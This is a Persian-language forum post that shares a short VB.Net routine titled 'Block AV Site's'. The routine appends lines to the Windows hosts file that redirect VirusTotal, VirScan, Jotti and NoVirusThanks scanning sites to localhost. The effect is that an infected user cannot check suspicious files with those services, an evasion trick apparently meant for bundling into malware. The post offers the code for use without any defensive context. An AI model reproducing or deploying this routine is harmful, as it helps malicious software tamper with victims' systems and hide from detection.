• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: [VB.Net] Block AV Site's
حالت موضوعی
#1
کد:
Imports System.IO
Imports System.Reflection
#Region " block all Av sites "
    Public Shared Sub avbloker()
        'Dim objWriter As New System.IO.StreamWriter("C:\fire2.txt")
        'objWriter.Write("xfind2")
        'objWriter.Close()


        Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts"
        Dim sw As New StreamWriter(path, True)
        Dim sitetoblock As [String] = vbLf & " 127.0.0.1 www.virustotal.com"
        Dim sitetoblock1 As [String] = vbLf & " 127.0.0.1 www.virscan.org"
        Dim sitetoblock2 As [String] = vbLf & " 127.0.0.1 www.virusscan.jotti.org"
        Dim sitetoblock3 As [String] = vbLf & " 127.0.0.1 www.vscan.novirusthanks.org"
        sw.Write(sitetoblock)
        sw.Write(vbNewLine & sitetoblock1)
        sw.Write(vbNewLine & sitetoblock2)
        sw.Write(vbNewLine & sitetoblock3)
        sw.Close()

      
        End

End Sub
#End Region
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  DnsApi Hook (Block WebSites Using Strings) Amin_Mansouri 0 2,629 10-16-2011، 07:31 PM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 1 مهمان